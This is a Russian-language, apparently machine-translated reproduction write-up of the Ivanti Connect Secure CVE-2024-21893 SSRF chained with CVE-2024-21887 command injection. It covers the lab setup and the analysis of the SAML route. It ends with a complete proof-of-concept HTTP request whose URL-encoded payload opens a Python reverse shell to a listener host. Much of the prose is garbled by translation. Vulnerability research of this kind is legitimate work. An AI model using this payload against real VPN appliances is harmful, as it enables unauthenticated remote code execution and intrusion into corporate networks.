Ivanti Connect Secure предоставляет бесшовное и экономичное решение SSL VPN для удаленных и мобильных пользователей, позволяющее им получать доступ к корпоративным ресурсам в любое время и в любом месте с любого устройства, подключенного к Интернету.
Номер уязвимости: CVE-2024-21893. CVE-2024-21893 это существование Ivanti Connect Secure SAML в компоненте SSRF Уязвимость, данная уязвимость в основном вызвана использованием уязвимых сторонних библиотек и отсутствием своевременных обновлений сторонних библиотек. Ее можно обойти. CVE-2024-21887 Патч для уязвимости внедрения команд, достигающей неавторизованного статуса. RCE цель.
Ivanti Connect Secure (9.x, 22.x) Политика Ivanti Secure (9.x, 22.x) Ivanti Neurons для компонента ZTA SAML (это может быть только SSRF)
В этом воспроизведении используется версия Ivanti Connect Secure 22.6R2.1 (сборка 2487) и импортируется мера по снижению риска mitigation.release.20240107.1.xml.
Загрузите версию Ivanti Connect Secure для виртуальной машины и импортируйте ее в виртуальную машину.
Здесь нужно дождаться распаковки и установки системы. После завершения установки выполните инициализацию по следующей конфигурации:
Затем создайте нового администратора
Создание администратора завершено
Введите интерфейс оболочки, поставляемый с системой.
доступ https://ip/admin Введите фоновый импорт mitigation.release.20240107.1.xml
Меры по смягчению последствий
mitigation.release.20240107.1.xml
Меры по смягчению последствия в основном касаются CVE-2023-46805 и CVE-2024-21887 из смягчения, которое отключает доступ к существующему интерфейсу лазейкииз.
Чтобы получить оболочку, вы можете воспользоваться методом, упомянутым в этом блоге https://labs.watchtowr.com/welcome-to-2024-the-sslvpn-chaos-continues-ivanti-cve-2023-46805-cve-2024. -21887/
получать shell затем введите /home/bin
Каталог, выполнить python -m SimpleHTTPServer 8899
запускать http услуги, загрузки web и saml-server двоичный файл, После загрузки он будет web
вставить IDA Анализируем и находим маршрут /dana-ws/saml20.ws
,Нет аутентификации,Есть также некоторые измаршрутизации без аутентификации, такие как:
посмотрим дальше /dana-ws/saml20.ws
Обработка запросов маршрутизации
будет соответствовать здесь /dana-ws/saml20.ws
,/dana-ws/saml.ws
, /dana-ws/samlecp.ws
После получения запроса, doDispatchRequest
вперед к saml-server
средняя обработка
существовать saml-server
Чжунъю createXMLObjectFromSoapMessage
функция будет soap Заменить данные на xml данные и, наконец, xmltooling библиотека для обработки, в то время как xmltools существовать 3.2.4 Следующая из версии это существованиеодин SSRF уязвимость, которую можно создать путем создания KeyInfo
реализовать SSRF. существующее Это повторение используется в среде xmltooling Версия 3.2.0
Итак, полная цепочка эксплойтов выглядит следующим образом:
KeyInfo
из SOAP Конверт отправлен в /dana-ws/saml20.ws
web
Сервер запросит пересылку к saml-server
начальство,saml-server
позвоню xmltooling Парсинг библиотеки xml данныеhttp://127.0.0.1:8090/api/v1/license/keys-status/
,Обойдено Меры по смягчению последствий mitigation.release.20240107.1.xml
/api/v1/license/keys-status/
Сохраните внедрение команд, вы можете выполнить любую систему команд.проверка POC
POST /dana-ws/saml20.ws HTTP/1.1
Host: 192.168.0.190
Sec-Ch-Ua-Platform-Version: "13.6.4"
Sec-Ch-Ua-Mobile: ?0
Content-Type: text/xml
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Sec-Ch-Ua-Platform: "macOS"
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Length: 1157
<?xml version="1.0" encoding="UTF-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<ds:Signature
xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
<ds:SignedInfo>
<ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
<ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>
</ds:SignedInfo>
<ds:SignatureValue>qwerty</ds:SignatureValue>
<ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.w3.org/2000/09/xmldsig" xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
<ds:RetrievalMethod URI="http://127.0.0.1:8090/api/v1/license/keys-status/%3Bpython%20%2Dc%20%27import%20socket%2Csubprocess%3Bs%3Dsocket%2Esocket%28socket%2EAF%5FINET%2Csocket%2ESOCK%5FSTREAM%29%3Bs%2Econnect%28%28%22192%2E168%2E0%2E133%22%2C8899%29%29%3Bsubprocess%2Ecall%28%5B%22%2Fbin%2Fsh%22%2C%22%2Di%22%5D%2Cstdin%3Ds%2Efileno%28%29%2Cstdout%3Ds%2Efileno%28%29%2Cstderr%3Ds%2Efileno%28%29%29%27%3B"/>
<ds:X509Data/>
</ds:KeyInfo>
<ds:Object></ds:Object>
</ds:Signature>
</soap:Body>
</soap:Envelope>
Результаты использования следующие:
Ivanti Выпущен патч, пожалуйста, обновите версию вовремя или Меры по смягчению последствий
https://attackerkb.com/topics/FGlK1TVnB2/cve-2024-21893/rapid7-analysis https://attackerkb.com/topics/AdUh6by52K/cve-2023-46805/rapid7-analysis https://xz.aliyun.com/t/13322